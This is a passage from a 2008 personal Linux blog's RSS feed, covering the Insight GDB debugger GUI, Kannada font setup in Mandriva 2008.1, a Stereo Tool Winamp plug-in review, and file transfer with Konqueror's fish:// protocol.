Expression&lt;/i&gt; option. When you use you will notice that some variables which are globals are not listed. For global variables we use Watch expression. Here you can even enter expression like &lt;i&gt;root[i]&lt;/i&gt; (say) and find their value during each step in execution. You can edit values using similar steps as local variables which I mentioned above.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQnv1vdNPuI/AAAAAAAAAcI/2htvdBAqOao/s1600-h/Screenshot-Watch.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQnv1vdNPuI/AAAAAAAAAcI/ltV5bt-blYw/s320-R/Screenshot-Watch.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;As you can see in image array variables are collapsible structures to see their values, one in the image is multi dimensional array.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Other options:&lt;br /&gt;1.&lt;i&gt;Stack Trace &lt;/i&gt;can be used to keep track of nested function calls especially helpful in recursive functions.&lt;br /&gt;2.&lt;i&gt;Memory Dump&lt;/i&gt; provides you with memory lay out of the program you can see where in the memory are variables are stored using this.&lt;br /&gt;3.&lt;i&gt;Registers&lt;/i&gt; provide you with CPU register contents useful if you are using register like key word.&lt;br /&gt;4.&lt;i&gt;Console&lt;/i&gt;: this for the one who is missing old command line GDB :)&lt;br /&gt;5.&lt;i&gt;Function Browser&lt;/i&gt; provides details of set of functions declared in current program.&lt;br /&gt;6.&lt;i&gt;Breakpoints&lt;/i&gt; provides list of break points in current program.&lt;br /&gt;7.&lt;i&gt;Thread List&lt;/i&gt; for thread programmers.&lt;br /&gt;Below are some snap shots of some of these options.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvvNAuwTI/AAAAAAAAAcA/oiaIKW4WpIc/s1600-h/Screenshot-Registers.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvvNAuwTI/AAAAAAAAAcA/uW3edxMWS2w/s400-R/Screenshot-Registers.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;i&gt;&lt;u&gt;Registers&lt;/u&gt;&lt;/i&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnv_i339YI/AAAAAAAAAcY/0dtWcA11neo/s1600-h/Screenshot-Console+Window.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnv_i339YI/AAAAAAAAAcY/19CSI0di8vg/s400-R/Screenshot-Console+Window.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;i&gt;&lt;u&gt;Console&lt;/u&gt;&lt;/i&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;You have to remember this unlike other debuggers in Linux(kdbg) insight should be launched from&amp;nbsp; shell console otherwise you won't be able to recive inputs or see outputs of an interactive program. Following screen shot displays insight utilizing shell console to get the input.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnv73dzGEI/AAAAAAAAAcQ/80iBcVaGtj0/s1600-h/Screenshot-Test_CN+-+Shell++-+Konsole.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnv73dzGEI/AAAAAAAAAcQ/v0DBzGSkCrA/s400-R/Screenshot-Test_CN+-+Shell++-+Konsole.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;insight&lt;/i&gt; also helps in advanced debugging as you can see in first image of this article, at top right corner of tool bar a drop down list is provided with following views.&lt;/div&gt;&lt;ol style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;Source (Normal user)&lt;/li&gt;&lt;li&gt;Assembly&amp;nbsp;&lt;/li&gt;&lt;li&gt;Source + Assembly (split view)&lt;/li&gt;&lt;li&gt;Mixed (assembly language version for each high level language instructions)&lt;/li&gt;&lt;/ol&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Following image is of assembly language version of a program I was debugging when I took this screen shots.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvKy3a0JI/AAAAAAAAAbY/G0Jp4v9N7nw/s1600-h/Screenshot-leaky.c+-+Source+Window-5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvKy3a0JI/AAAAAAAAAbY/UD-4JCg5kFY/s400-R/Screenshot-leaky.c+-+Source+Window-5.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;So now tell me isn't it easy to debug your code with this tool ? Any way HAppy Debugging :)&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt; &amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Thu, 30 Oct 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/10/gdbs-gui-insight-tutorial.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/10/gdbs-gui-insight-tutorial.html</guid>
</item>



<item>
<title>Font Help in Mandriva 2008.1</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Is Firefox in Mandriva 2008 not displaying the Websites in local fonts properly ? Well in such case don't worry cos even I had the same problem but I solved the problem and now I'm going to tell how can you people do it in Mandriva. Don't worry you don't have to use Shell for configuring this its All done through Mandriva' s&amp;nbsp; control center. First launch the Control Center. You will see a side bar containing some tabs and&amp;nbsp; a wide right part. You can have a look at it below.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQayZXsMBKI/AAAAAAAAAZo/f_MUViV5nng/s1600-h/snapshot1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQayZXsMBKI/AAAAAAAAAZo/KndOkqvJzhU/s400-R/snapshot1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You can see the Software Management tab now click on Install and Remove Software in the right part of the Window. In the software management window set the to drop down list in top left corner to &quot;&lt;i&gt;All&lt;/i&gt;&quot;. In the side bar Collapse &quot;&lt;i&gt;System&lt;/i&gt;&quot; under that collapse &quot;&lt;i&gt;Fonts&lt;/i&gt;&quot; and select &quot;&lt;i&gt;True Type&lt;/i&gt;&quot; now in the right side you will see list of fonts available, if check box in front of font name is checked then that font is all ready installed in your system. In the list search for &quot;&lt;i&gt;fontsttfkannada&lt;/i&gt;&quot;(any local font you wnat I wanted Kannada) and check the check box in front of it. Also click on &lt;i&gt;internationalisation&lt;/i&gt; and select package &lt;i&gt;locales-kn&lt;/i&gt;(for kannada language). Steps(&lt;i&gt;installing kannada font&lt;/i&gt;) which I told here are shown in the image below. &lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa0xYEuwmI/AAAAAAAAAZw/RI2-FSWvIvQ/s1600-h/snapshot2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa0xYEuwmI/AAAAAAAAAZw/jgWVdO3UXDY/s400-R/snapshot2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now just click on Apply button. One good thing about Mandriva which I want to mention here is whenever you install a package Mandriva will search for all the dependencies of the package will be searched and installed, so you don't have to worry about dependencies. So when you click on apply you may get a box specifying dependencies and asking your confirmation for installing them. Just click &quot;&lt;i&gt;OK&lt;/i&gt;&quot; in such case. Make sure you are connected to Internet. Mandriva will ask confirmation for connecting to internet and download all required packages and installs them. Once this is done what next? See image given below.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/CgEgMyAYdeM/s1600-h/snapshot3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/2DD7K9EW54Y/s400-R/snapshot3.jpg&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;As shown in above image select the System tab in left bar. In the right window click &quot;&lt;i&gt;Manage, add and remove fonts. Import Windows(TM) fonts&lt;/i&gt;&quot; A font window&amp;nbsp; will open up as shown in image below.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa46gBKJrI/AAAAAAAAAaA/CDnKAcNG7cs/s1600-h/snapshot4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa46gBKJrI/AAAAAAAAAaA/yfsIbBmsZx4/s320-R/snapshot4.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;At the bottom of window you can see 4 buttons click on &quot;&lt;i&gt;import&lt;/i&gt;&quot; and a Import fonts window will pop up which you can see in the above image. There click on the&amp;nbsp; &quot;&lt;i&gt;Add&lt;/i&gt;&quot;&amp;nbsp; button it will open up a window&amp;nbsp; for searching the fonts&amp;nbsp; there follow this path&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;/usr/share/fonts/ttf/Kannada/&amp;nbsp;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This is the folder were the &lt;i&gt;fontsttfkannada&lt;/i&gt; is installed by Mandriva. In this folder you will see single font by name &quot;&lt;i&gt;Sampige.ttf&lt;/i&gt;&quot; select it and click &quot;&lt;i&gt;Open&lt;/i&gt;&quot; button given at bottom of window. Following image describes this step.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa5FSReKeI/AAAAAAAAAaI/AVUIGlHeoco/s1600-h/snapshot5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa5FSReKeI/AAAAAAAAAaI/mgY8qbVbbBY/s320-R/snapshot5.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now you will be returned to Import fonts window you will see &quot;&lt;i&gt;install&lt;/i&gt;&quot; button in the bottom right corner just click on it and font will get installed but import window will be there even after installation is complete now just click on &quot;&lt;i&gt;Cancel&lt;/i&gt;&quot; and now check if &quot;&lt;i&gt;Sampige&lt;/i&gt;&quot;(or font name) is in the font list. Now click on &lt;i&gt;Close&lt;/i&gt;. One more step to go. See image below.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/CgEgMyAYdeM/s1600-h/snapshot3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/2DD7K9EW54Y/s400-R/snapshot3.jpg&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;Now again in the &quot;System&quot; tab just click on &quot;&lt;i&gt;Manage localization of the system&lt;/i&gt;&quot; in the window which pops up search for &quot;&lt;i&gt;Kannada&lt;/i&gt;&quot;(or any font you want) clcik on &quot;&lt;i&gt;Next&lt;/i&gt;&quot; next window will give you a least of Countries were &quot;India&quot; will be selected if you select any Indian Language in previous window. Click next&amp;nbsp; to finish the job. Log off and then Log in again for changes made to take effect. And try opening your favourite local language site and there you go now every thing is looking how it should look. Here are set of images which describe these steps.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa-cckb8OI/AAAAAAAAAaQ/pXkG7sUYmZM/s1600-h/snapshot6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa-cckb8OI/AAAAAAAAAaQ/Zub_Q3lLVEw/s320-R/snapshot6.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbCR5y2BMI/AAAAAAAAAaY/tNcUz6NIKuk/s1600-h/snapshot7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbCR5y2BMI/AAAAAAAAAaY/BptnKuZt-P8/s400-R/snapshot7.jpg&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbClWA4p9I/AAAAAAAAAag/TOkJuurbAMY/s1600-h/snapshot8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbClWA4p9I/AAAAAAAAAag/uoD1gEvt28Y/s320-R/snapshot8.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;This is how Kannada website &lt;a href=&quot;http://sampada.net/&quot;&gt;http://sampada.net &lt;/a&gt;will look in Mandriva after making the changes.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQbDhWItucI/AAAAAAAAAao/zyS-yLtEY-M/s1600-h/snapshot9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQbDhWItucI/AAAAAAAAAao/r8md8rNPgRc/s320-R/snapshot9.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;Now tell me whether you felt it difficult or easy to configure the local fonts in Mandriva :)&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;
</description>
<pubDate>Tue, 28 Oct 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/10/font-help-in-mandriva-2008-1.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/10/font-help-in-mandriva-2008-1.html</guid>
</item>



<item>
<title>An awsome audio enhancer Stereo Tool (DSP Plug-in)</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Your speaker's are not giving good quality out put? Want to get good effects hidden in each song? Then you should download this plug-in for Winamp like players this include these players &lt;a href=&quot;http://www.winamp.com/&quot;&gt;Winamp&lt;/a&gt;, &lt;a href=&quot;http://www.spacialaudio.com/&quot;&gt;SAM Broadcaster&lt;/a&gt;, &lt;a href=&quot;http://www.djsoft.net/&quot;&gt;RadioBOSS&lt;/a&gt; and all those player which supports Winamp DSP plug-ins.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I came accross this when my sir gave me the link of the website of this tool. As its a free software I thought&amp;nbsp; it might not be that good still I wanted to give it a try so downloaded it from this &lt;a href=&quot;http://www.stereotool.com/download/&quot;&gt;link&lt;/a&gt;. Here you will see a screen shot of this tool just click on it to download the plug-in.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.stereotool.com/download/dsp_stereo_tool_installer.exe&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;284&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQXpPNTMPqI/AAAAAAAAAZI/yup2L_p4CJ8/s320-R/st_95perc.gif&quot; width=&quot;320&quot; /&gt;&lt;img /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.stereotool.com/download/dsp_stereo_tool_installer.exe&quot;&gt;Direct Download Link&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Before I was using DFX Audio Enhancer which is rated as the best audio enhancer in google also a proprietary software. But after using Stereo Tool plug-in I found DFX is nothing compared to this free software. Ya there is some problem with clarity if you try to alter all the controls shown in above image at a time, I suggest try&amp;nbsp; each controls individually to see their effects especially try increasing Post AMP and Pre Amps at top sound of the song will be boosted awesomely. Forgot to mention some&amp;nbsp; of the&amp;nbsp; features are trial&amp;nbsp; what the website&amp;nbsp; tells about the trial&amp;nbsp; features is&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;blockquote&gt;If these features are enabled on the free (non-registered) version, a message ('This sound is processed by Stereo Tool') is played once every 12 hours. This should not interfere with most non-commercial usage.&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;So not a big problem rite?&amp;nbsp; This plug-in is actually developed for the FM-Stations so registered version is for the FM Stations. And when you activate you can see a line telling that trial features activated in the header of the plug-in. When you launch Winamp the plug-in will be launched along with it if you don't want this to happen in the plug-in there is a option which says &quot;open as a system tray icon on launch&quot; just check this option and it will reside in your system tray when you open it. I also suggest you to play songs without selecting any presets(also play with presets you will notice the difference). &lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This software is for Windows only but don't worry Linux is&amp;nbsp; also having similar things one of them is Ardour Digital Audio Workstation check out this &lt;a href=&quot;http://ardour.org/&quot;&gt;link&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well folks I hope you people will also like the Stereo Tool. Try it and don't forget to leave your experience as a comment :)&amp;nbsp;&lt;/div&gt;
</description>
<pubDate>Mon, 27 Oct 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/10/an-awsome-audio-enhancer-stereo-tool-dsp-plug-in.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/10/an-awsome-audio-enhancer-stereo-tool-dsp-plug-in.html</guid>
</item>



<item>
<title>Have you gone fishing in Linux ? !!</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Surprised by the heading of this article ?? Well the &lt;b&gt;fish&lt;/b&gt; i'm referring here has nothing to do with living creature. The fish actually stands for &lt;i&gt;&lt;b&gt;FI&lt;/b&gt;les transferred over the &lt;b&gt;SH&lt;/b&gt;ell&lt;/i&gt; and it was originally developed by &lt;i&gt;Pavel Machek&lt;/i&gt;. Now lets see what is this fish all about. I came across this fish few weeks back when i needed to copy more than 2GB of software from one of my project PC to other. I didn't had any USB device to copy these softwares so that I can transfer them to other PC and our sir took the DVD containing these software to provide it to other students. My brain started thinking about sharing the files as we do in Windows so we can access files from any where on LAN so I tried to share the files using NFS but it didn't work then I tried using &lt;i&gt;scp&lt;/i&gt;,&lt;i&gt;ssh&lt;/i&gt;,&lt;i&gt;ftp&lt;/i&gt; well nothing seemed to help me. Then I asked our sir how can I transfer the files to other Desktop over LAN he told &quot;&lt;i&gt;fish it out &lt;/i&gt;!!&quot; well I was not sure what to tell I just asked what he actually meant.Then he told its a protocol which allows you access and modify the files across the world!! only you need to know the domain name and password for a specific user.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now lets have a look at the detailed usage of FISH. To use this protocol your Linux version should have KDE3.1 or higher Desktop environment. FISH is incorporated into &lt;i&gt;Konqueror web browser/file manager&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now start the Konqueror(if you are using GNOME Desktop) (in case you are using KDE Desktop just click on the home icon to launch the Konqueror). Once konqueror is running just type following line in the address field&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;blockquote&gt;&lt;blockquote&gt;fish://username@computer_name(or host) &lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once you are connected to the machine you specified You will get a message box asking the password for specified user. See the following image&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNJeBulamI/AAAAAAAAAYA/raCEN1ajeUw/s1600-h/fish1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNJeBulamI/AAAAAAAAAYA/-Eu6v_lmTt4/s400-R/fish1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp; &lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once you enter correct password you are in the home folder of specified user on the remote machine. And you feel like you are in your machine's file system no command prompt or commands required to access files or modify files, isn't it cool.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now to access your files or create a new file on the remote machine you just need to follow normal procedures you used to do, i.e to create a new file just right click on Konqueror window and select required type of files under &lt;i&gt;Create New&lt;/i&gt;. To open a text file just double click on the files which will open the file in Konquerors corresponding embedded application. If you want to open the files in application of your own choice just right click on the file and select applications under the &lt;i&gt;Open with&lt;/i&gt;. See the following images&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNKajd80sI/AAAAAAAAAYI/LzQzlFQBe5o/s1600-h/fish2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; 